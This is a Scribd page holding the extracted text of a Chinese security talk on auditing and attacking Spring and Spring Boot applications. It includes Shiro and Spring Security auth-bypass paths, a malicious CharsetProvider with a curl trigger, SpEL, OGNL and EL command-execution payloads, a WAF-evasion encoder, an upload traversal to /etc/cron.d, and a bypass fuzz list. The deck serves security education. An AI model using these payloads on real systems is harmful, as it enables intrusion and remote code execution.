0% found this document useful (0 votes)
134 views62 pages

Panda Hacking Spring

Uploaded by

wyysafe
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
134 views62 pages

Panda Hacking Spring

Uploaded by

wyysafe
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 62

Hacking

panda
2023.06.10
About Me

• T00ls荣誉成员
• T00ls 名人堂成员
• 《Java 代码审计 · 入门篇》作者之一
• 某甲方安全工程师
• Blog: www.cnpanda.net

2
Audit Spring Framework & Spring Boot

Hacked Spring
Audit Spring Framework & Spring Boot - 快速审计思路
• 无情的 find jar 机器 – 你的眼睛是铁

fastjson
• version <= 1.2.80
shiro
• version < 1.11.0
log4j
• 2.x.x <= version < 2.17.0

hessian
xtream
actuator
……

5
Audit Spring Framework & Spring Boot - 快速审计思路

Murphysec Code Scan

6
Audit Spring Framework & Spring Boot - 快速审计思路

Murphysec Code Scan

7
Audit Spring Framework & Spring Boot - 快速审计思路

Murphysec Code Scan

8
Audit Spring Framework & Spring Boot - 快速审计思路

Murphysec Code Scan

9
Audit Spring Framework & Spring Boot - 快速审计思路

Murphysec Code Scan

10
Audit Spring Framework & Spring Boot - 快速审计思路

Murphysec Code Scan

11
Audit Spring Framework & Spring Boot - 快速审计思路

Murphysec Code Scan

12
Audit Spring Framework & Spring Boot - 快速审计思路

人工 工具

优点:
优点:
• 代码数据安全
• 速度快,覆盖面较广

缺点: • 门槛低,快速分析

• 专家经验 优点:
• 易遗漏 • 代码数据安全无法 100%
保障

13
Audit Spring Framework & Spring Boot - 快速审计思路

Web.xml

<servlet>
<servlet-name>hrssworkflowervlet</servlet-name>
<servlet-class>
nc.bs.hrss.pf.WorkFlowPngServlet
</servlet-class>
Special Servlet
<load-on-startup>2</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>hrssworkflowervlet</servlet-name>
<url-pattern>/workflowpng</url-pattern>
</servlet-mapping>
Audit Spring Framework & Spring Boot - 快速审计思路

xxx-config.xxx

<service name="Version" provider="java:RPC">


<parameter name="allowedMethods" value="getVersion"/>
<parameter name="className" value="org.apache.axis.Version"/>
</service>
<service name="AdminService" provider="java:MSG"> Special Services
<parameter name="allowedMethods" value="AdminService"/>
<parameter name="enableRemoteAdmin" value="false"/>
<parameter name="className" value="org.apache.axis.utils.Admin"/>
……
</service>
Audit Spring Framework & Spring Boot – 通用审计思路

未授权(前台)

鉴权分析

授权(后台) 鉴权绕过 通用漏洞分析

16
Audit Spring Framework & Spring Boot – 通用审计思路

命令执行
反序列化
模板注入 关键函数 RCE
代码执行
反射调用
JNDI 代码功能
通用漏洞分析 表达式注入
SQL
文件上传 漏洞组合链
未授权优先
文件读取/下载
……

17
Audit Spring Framework & Spring Boot – 通用审计思路

Fortify

CodeQL 扫描结果人工分析
工具一把梭

Checkmarx

Tabby

18
Audit Spring Framework & Spring Boot – 审计小 trick

避免某些文件中找不到对应类

> find ./ -name "*.jar" -exec cp {} dir \;

要搜索的目录 存放 jar 文件的目录

19
Audit Spring Framework & Spring Boot – 审计小 trick

20
Audit Spring Framework & Spring Boot – 审计小 trick
统一反编译

cfr-0.151.jar
https://github.com/KpLi0rn/DeserializeAll

> java -cp "/Applications/IntelliJ IDEA.app/Contents/plugins/java-decompiler/lib/java-decompiler.jar"


org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true xxx.jar /Dir
存放目录

要反编译的 jar 文件或目录

21
Audit Spring Framework & Spring Boot – 审计小 trick

路由寻找

目录及文件 注解 关键字
Controller @Controller extends HttpServlet
Web @RestController
HttpServletRequest
interceptor @RequestMapping request
api @GetMapping .getParameter
servlet @PostMapping RequestBody
webservice @PutMapping ResponseBody
Web.xml @PutMapping PathVariable
springmvc-servlet.xml @DeleteMapping RequestParam

@PatchMapping
@CrossOrigin
@interface

22
Audit Spring Framework & Spring Boot – 审计小 trick

路由寻找

23
Audit Spring Framework & Spring Boot – 审计小 trick

路由寻找

24
Audit Spring Framework & Spring Boot – 审计小 trick

org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#lookupHandlerMethod

1 protected HandlerMethod lookupHandlerMethod(


2 String lookupPath, HttpServletRequest request) throws Exception {
3 List<Match> matches = new ArrayList<>();
4 List<T> directPathMatches =
5 this.mappingRegistry.getMappingsByUrl(lookupPath);
6 if (directPathMatches != null) {
7 addMatchingMappings(directPathMatches, matches, request);
8 }
9 if (matches.isEmpty()) {
10 // No choice but to go through all mappings...
11 ......
12 }
Audit Spring Framework & Spring Boot – 审计小 trick

26
Audit Spring Framework & Spring Boot – 审计小 trick

鉴权绕过

spring-webmvc-x.x.x.RELEASE.jar < 5.3

suffixPatternMatch = True Spring security Configure Bypass

/**/**.html
/users = /users .*
/**/**.*
/**/**.js
27
Audit Spring Framework & Spring Boot – 审计小 trick
WEB-INF/KmssConfig/sys/authentication/spring.xml

1 <!-- SpringSecurity 配置开始 -->


2 <bean id="org.springframework.security.filterChainProxy"
3 name="springSecurityFilterChain"
4 class="org.springframework.security.web.FilterChainProxy">
5 <constructor-arg>
6 <list value-type="org.springframework.security.web.SecurityFilterChain">
7 <!-- 静态资源,加有效期|版本号 -->
8 <sec:filter-chain pattern="/**/*.gif" filters="resourceCacheFilter" />
9 <sec:filter-chain pattern="/**/*.jpg" filters="resourceCacheFilter" />
10 <sec:filter-chain pattern="/**/*.png" filters="resourceCacheFilter" />
11 <sec:filter-chain pattern="/**/*.bmp" filters="resourceCacheFilter" />
12 <sec:filter-chain pattern="/**/*.ico" filters="resourceCacheFilter" />
13 <sec:filter-chain pattern="/**/*.css" filters="resourceCacheFilter,gzipFilter" />
14 <sec:filter-chain pattern="/**/*.js" filters="resourceCacheFilter,gzipFilter" />
15 <sec:filter-chain pattern="/**/*.tmpl" filters="resourceCacheFilter,gzipFilter" />
16 <sec:filter-chain pattern="/**/*.html" filters="gzipFilter" />
17 ......
18 </bean>
Audit Spring Framework & Spring Boot – 审计小 trick

https://vuls.info/PeiQi/wiki/oa%20treexml.tmpl%20远程命令执行漏洞/#_4 29
Audit Spring Framework & Spring Boot – 审计小 trick

AuthXXXXXFilter

1 Public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) {


2 ......
3 private boolean canAccesseWithoutAuthentication(String url){
4 if (Pattern.matches(".*\\.(js|css|gif|jpg|ico|png|swf|dat|axd|html)$", url)){
5 return true;
6 } else if (!url.equals(“/”) && !url.endsWith(“.jsp”) && !url.startsWith(“/portal”) )
7 ......
8 }
9 ......
Audit Spring Framework & Spring Boot – 审计小 trick

@Override configurePathMatch
configurer.setUseSuffixPatternMatch(false)

suffixPatternMatch = false

springmvc.xml

<mvc:annotation-driven>
<mvc:path-matching suffix-pattern="false"/>
</mvc:annotation-driven>

31
Audit Spring Framework & Spring Boot – 审计小 trick

鉴权绕过

spring-webmvc-x.x.x.RELEASE.jar > 4.0

setUseTrailingSlashMatch = True Some Auth Code Bypass

/users = /users/
getRequestURI().equals("/admin/info")

32
Audit Spring Framework & Spring Boot – 审计小 trick

.antMatchers("/admin","/user/*/info","/api/*").authenticated()

AntPathRequestMatcher à MATCH_ALL = "/**"

/api/addUser ———— /api/addUser/

setUseTrailingSlashMatch = True à /api/addUser == /api/addUser/

fullMatch = True à /api/addUser != /api/addUser/

pattern: "/api/admin/* " pattern: "/api/admin/ "


pattern: "/api/admin/addUser/* " pattern: "/api/admin/ "
Spring Security
pattern: “/api/*/addUser " pattern: "/api/anything/addUser/ "
pattern: "/api/* " pattern: "/api/admin/ "

auth: /admin/addUser

RegexRequestMatcher(“/admin/.* ", null)


CVE-2022-22975
bypass: /admin/%0daddUser 33
Audit Spring Framework & Spring Boot – 审计小 trick

private boolean authPass(ServletRequest request){


HttpServletRequest httpRequest = (HttpServletRequest)request;
startsWith()
if(httpRequest.getRequestURI().startsWith(“/sys/service/”)){
return true;
}else if(httpRequest.getRequestURI().endsWith(“login.do”)){
request.getRequestURI() return true;
}
......
endWith }

bypass: /sys/service/../../sys/admin bypass: /xxxpath;%252flogin.do

34
Audit Spring Framework & Spring Boot – 审计小 trick
Xml.config /org/ivesoftware/admin/AuthCheckFilter.java

public static boolean testURLPassesExclude(String


url, String exclude) {
<filter>
if (exclude.endsWith("*")) {
<filter-name>AuthCheck</filter-name>
if (url.startsWith(exclude.substring(0,
<filter-class> exclude.length()-1))) {
org.jivesoftware.admin.AuthCheckFilter // Now make sure that there are no ".."

</filter-class> characters in the rest of the URL.


if (!url.contains(“..”)
<init-param>
&& !url.toLowerCase().contains("%2e")) {
<param-name>excludes</param-name>
return true;
<param-value>
}
login.jsp,index.jsp?logout=true,setup/index.jsp, }
setup/setup-*,.gif,.png,error-serverdown.jsp,loginToken.jsp }

</param-value> ......
}
</init-param>
</filter>

CVE-2023-32315: /setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp à /setup/setup-s/../../log.jsp à log.jsp 35


Audit Spring Framework & Spring Boot – 审计小 trick

forward
1 ShiroFilterFactoryBean shiroFilterFactoryBean() {
2 ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
3 bean.setSecurityManager(securityManager()); // 指定 SecurityManager
4 bean.setLoginUrl(“/login”); // 登录页面
5 bean.setSuccessUrl(“/index”); // 登录成功页面
6 bean.setUnauthorizedUrl(“/unauthorizedurl”); // 访问未获授权路径时跳转的页面
7 Map<String, String> map = new LinkedHashMap<>();
8 map.put("/doLogin", "anon");
9 map.put("/admin", "authc");
10 bean.setFilterChainDefinitionMap(map);
11 return bean;
12 }
Audit Spring Framework & Spring Boot – 审计小 trick

forward
1 @GetMapping("/test")
2 public void test(HttpServletRequest request, HttpServletResponse response){
3 RequestDispatcher rd = request.getRequestDispatcher("/admin");
4 try {
5 rd.forward(request, response);
6 } catch (Exception e) {
7 e.printStackTrace();
8 }
9 }
10 @GetMapping("/admin")
11 public String hello() {
12 return "admin";
13 }
14 @GetMapping("/login")
15 public String login() {
16 return "please login!";
17 }
Audit Spring Framework & Spring Boot – 审计小 trick

Shiro 权限绕过 CVE-2022-40664

forward

38
Audit Spring Framework & Spring Boot – 审计小 trick

ZK框架权限绕过 zk/src/org/zkoss/zk/au/http/AuUploader.java

1 public void service(HttpServletRequest request, HttpServletResponse response, String pathInfo)


2 throws ServletException, IOException {
3 ......
4 if (nextURI == null)
5 nextURI = request.getParameter("nextURI");
6 ......
7 if (nextURI == null || nextURI.length() == 0)
8 nextURI = "~./zul/html/fileupload-done.html.dsp";
9 Servlets.forward(_ctx, request, response, nextURI, attrs, Servlets.PASS_THRU_ATTR);
10 }
Audit Spring Framework & Spring Boot – 审计小 trick

ZK框架权限绕过

From: https://y4er.com/posts/zk-framework-auth-bypass-case-r1soft-rce/

40
Audit Spring Framework & Spring Boot – 审计小 trick
ZK框架权限绕过

From : https://y4er.com/posts/zk-framework-auth-bypass-case-r1soft-rce/

41
Audit Spring Framework & Spring Boot – 审计小 trick

CVE 编号 Shiro 版本 配置 漏洞形式

shiro < 1.1.0


CVE-2010-3863 JSecurity 0.9.x
/** = anon /./remoting.jsp

CVE-2016-6802 shiro < 1.3.2 Context Path绕过 /xx/../context/xxx.jsp

/toJsonPOJO/
CVE-2020-1957 shiro < 1.5.2 /** = anon Spring Boot < 2.3.0.RELEASE
à /xx/..;/toJsonPOJO

(=1.5.2)
/toJsonList/aa
(=1.5.2)
à / 的两次编码 --> %25%32%66
/toJsonList/* = authc à /toJsonList/a%25%32%66a
à /toJsonList/a%2fa;
CVE-2020-11989 shiro < 1.5.3 (<1.5.2)
/alter/* = authc (<1.5.2)
&& /shirodemo/alter/test
/** = anon à /;/shirodemo/alter/test
42
Audit Spring Framework & Spring Boot – 审计小 trick

CVE 编号 Shiro 版本 配置 漏洞形式

/hello
CVE-2020-13933 shiro < 1.6.0 /hello/* = authc à /hello/%3ba -> /hello/;a

/hello
CVE-2020-17510 shiro < 1.7.0 /hello/* = authc à/hello/%2e à /hello/.
(/%2e、/%2e/、/%2e%2e、/%2e%2e/都可)

/hello
CVE-2020-13933 shiro < 1.7.1 /hello/* = authc à /hello/%20

/admin/page
CVE-2021-41303 shiro < 1.8.0 /hello/* = authc à/admin/page/

RegExPatternMatcher /alter/aaa
CVE-2022-32532 shiro < 1.9.1 &&
/alter/.*
à /alter/a%0aaa
à /alter/a%0daa

From: https://xz.aliyun.com/t/11633 43
Audit Spring Framework & Spring Boot – 审计小 trick

Default secret
QVD-2023-6271
nacos.core.auth.default.token.secret.key
=SecretKey0~90~90~9
JWT

Weak secret

• Secret 生成算法可以猜解
• 弱口令 secret
• Secret 存储文件被读取

44
Audit Spring Framework & Spring Boot – 审计小 trick

ChatGPT

45
Audit Spring Framework & Spring Boot

Hacked Spring
Hacked Spring – 渗透测试实战
Fastjson
Log4Shell

Shrio

组件漏洞 Spring4Shell

Actuator
Axis
Druid
渗透测试实战
Hessian deserialize
XStream deserialize

文件上传
传统漏洞 文件读取

表达式注入
XML 中的注入
权限绕过
47
Hacked Spring – 渗透测试实战

Fastjson
Druid
https://github.com/a1phaboy/FastjsonScan
Session moniter à session

Log4Shell

https://github.com/Tsojan/TsojanScan
Axis
Spring4Shell AdminService

https://github.com/fullhunt/spring4shell-scan
org.apache.axis.handlers.LogHandler
org.apache.axis.client.ServiceFactory
Shrio
com.sun.script.javascript.RhinoScriptEngine
https://github.com/j1anFen/shiro_attack javax.el.ELProcessor

Actuator Swagger
https://github.com/artsploit/yaml-payload https://github.com/jayus0821/swagger-hack
https://github.com/wyzxxz/heapdump_tool
48
Hacked Spring – 渗透测试实战

Hessian deserialize

marshalsec

JNDI-Injection-Exploit

https://gitee.com/a1324622751/Hessian-Deserialize-RCE

49
Hacked Spring – 渗透测试实战

XStream deserialize

Xstream CVE List

From: https://articles.zsxq.com/id_i2vwfvie7dv9.html

50
Hacked Spring – 渗透测试实战

文件上传

From: su18 51
Hacked Spring – 渗透测试实战

import base64
name = "test"
encode = name.encode("utf-8")
b = base64.b64encode(encode)
print("=?utf-8?B?"+b.decode()+"?=")
文件上传 res = ""
for i in encode.decode("gbk"):
tmp = hex(ord(i)).split("0x")[1]
res += f"={tmp}"
print("=?gbk?Q?"+res+"?=")

From: Y4tacker
Commons fileupload > 1.3

52
Hacked Spring – 渗透测试实战

文件上传

......
if(!file.isEmpty()){
String Filename = file.getOriginalFilename();
String suffix =
originalFilename.substring(Filename.lastIndexOf("."));
if(!“.xlsx”.equals(suffix) && !".xls".equals(suffix)){
../../../../../../etc/cron.d/up.xls
throw new Exception("非法请求,请导入excel文件");
}
byte[] bytes = file.getBytes();
String path = ULOADED_FOLDER + Filename;
}
......

53
Hacked Spring – 渗透测试实战

SpringBoot文件上传

org.springframework.web.accept.HeaderContentNegotiationStrategy

Accept: text/html;charset=GBK
public List<MediaType> resolveMediaTypes(NativeWebRequest request)
throws HttpMediaTypeNotAcceptableException {
String[] headerValueArray = request.getHeaderValues("Accept");
...
try {
List<MediaType> mediaTypes =
MediaType.parseMediaTypes(headerValues);
...
} catch (InvalidMediaTypeException var5) {
...
Charset.forName(value);
}
}
}

54
Hacked Spring – 渗透测试实战
1
public static Charset forName(String charsetName) {
2 Charset cs = lookup(charsetName);
3 if (cs != null)
4 return cs;
5 ......
6 }
private static Charset lookup(String charsetName) {
7
if (charsetName == null)
8
throw new IllegalArgumentException("Null charset name"); Charset.forName
9 Object[] a;
10 if ((a = cache1) != null && charsetName.equals(a[0]))
11 return (Charset)a[1];
12 return lookup2(charsetName);
13 }
14
private static Charset lookup2(String charsetName) {
Object[] a;
15
if ((a = cache2) != null && charsetName.equals(a[0])) {
16
cache2 = cache1;
17 cache1 = a;
18 return (Charset)a[1];
19 }
20 Charset cs;
21 if ((cs = standardProvider.charsetForName(charsetName)) != null ||
22
(cs = lookupExtendedCharset(charsetName)) != null ||
(cs = lookupViaProviders(charsetName)) != null)
23
{
24
cache(charsetName, cs);
25 return cs; ClassLoader cl = ClassLoader.getSystemClassLoader();
26 } ServiceLoader<CharsetProvider> sl =
27 ......
28 } ServiceLoader.load(CharsetProvider.class, cl);
Hacked Spring – 渗透测试实战
1
import java.io.IOException;
2 import java.nio.charset.Charset;
3 import java.util.HashSet;
4 import java.util.Iterator;
5
6 public class Evil extends java.nio.charset.spi.CharsetProvider {
@Override
7
public Iterator<Charset> charsets() {
8
return new HashSet<Charset>().iterator();
9 }
10 @Override
11 public Charset charsetForName(String charsetName) {
12
13 if (charsetName.startsWith("Evil")) {
14
try {
Runtime.getRuntime().exec("open -a /System/Applications/Calculator.app");
15
} catch (IOException e) {
16
e.printStackTrace();
17 }
18 }
19 return Charset.forName("UTF-8");
20 }
21 }

├── Evil.class
└── META-INF
curl -X GET “ http://127.0.0.1:8080 ” -H “ Accept: text/html; Charset=Evil "
└── services
└── java.nio.charset.spi.CharsetProvider
Hacked Spring – 渗透测试实战

SpEL
T(java.lang.Runtime).getRuntime().exec(“open /System/Applications/Calculator.app")

${@jdk.jshell.JShell@create().eval('java.lang.Runtime.getRuntime().exec("open /System/Applications/Calculator.app")')}

表达式注入 OGNL

${new javax.script.ScriptEngineManager().getEngineByName("js").eval("new
j\u0061va.lang.ProcessBuilder['(java.l\u0061ng.String[])'](['/bin/sh','-c','open
/System/Applications/Calculator.app']).start()\u003B")}

EL

${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("
java.lang.Runtime").getMethod("getRuntime").invoke(null),"whoami")}

57
Hacked Spring – 渗透测试实战
#!/usr/bin/env python
#coding: utf-8
def encode(payload):
encode_payload = "" EL表达式注入绕过 waf
for i in range(0, len(payload)):
if i == 0:
encode_payload += "true.toString().charAt(0).toChars(%d)[0].toString()" % ord(payload[0])
else:
encode_payload += ".concat(true.toString().charAt(0).toChars(%d)[0].toString())" % ord(payload[i])
return encode_payload
exp1 =
'${"".getClass().forName(%s).getMethod(%s,"".getClass()).invoke("".getClass().forName(%s).getMethod(%s).invoke(null),%s)}' %
(encode('java.lang.Runtime'),encode('exec'),encode('java.lang.Runtime'),encode('getRuntime'),encode('whoami'))
print(exp1)

58
Hacked Spring – 渗透测试实战

Db configure file service

Session keep file

EhCache file
文件读取 XML 中的注入
application.properties

. ssh

. bash_history
WSDL

59
Hacked Spring – 渗透测试实战

main.xxxx.js

umi.xxxx.js

路由寻找
app.xxxx.js

chunk.xxxx.js

60
Hacked Spring – 渗透测试实战

/login/..;/admin /AdMin

/admin/. /admin/;

/admin/%2e /admin/%3b

/admin;%252flogin /admin/;a

/ad%0amin 权限绕过fuzz /admin/%3ba

/ad%0dmin /login/%u002e%u002e/%u002e%u002e/admin
NoAuth: /login
/admin/%20 /..;/..;/..;/..;/..;/admin
Auth: /admin
/admin/ //admin//

/login/./././admin //;//admin

/login/../admin /admin.json

/login/%2e%2e/admin /admin.js
/./admin/..
/..;/admin
/admin/%20/ 61
/admin..;/
Thanks !

62

You might also like